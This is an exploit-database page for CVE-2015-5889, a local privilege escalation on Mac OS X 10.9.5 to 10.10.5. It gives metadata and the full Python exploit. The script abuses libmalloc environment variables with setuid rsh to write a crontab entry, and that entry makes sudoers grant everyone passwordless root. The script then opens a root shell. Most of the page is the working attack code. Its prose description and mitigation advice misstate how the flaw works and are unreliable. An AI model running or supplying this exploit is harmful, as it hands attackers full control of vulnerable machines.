CVE-2015-5889: issetugid() + rsh + libmalloc osx local root

vendor:

Mac OS X

by:

rebel

9,3

CVSS

HIGH

Local Privilege Escalation

264

CWE

Product Name: Mac OS X

Affected Version From: OSX 10.9.5

Affected Version To: OSX 10.10.5

Patch Exists: NO

Related CWE: N/A

CPE: o:apple:mac_os_x

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: OSX

2015

CVE-2015-5889: issetugid() + rsh + libmalloc osx local root

This exploit uses the issetugid() function to bypass the sandbox restrictions and execute the rsh command with the libmalloc environment variable set to a malicious crontab file. This crontab file is used to add a line to the sudoers file, allowing the attacker to gain root privileges.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the issetugid() function is not used in any code that is running with elevated privileges.

Source

Exploit-DB raw data:

# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:	
	os.close(1)
	os.close(2)
	os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
	sys.stderr.write("failed\n")
	sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
	sys.stderr.write(".")	
	time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")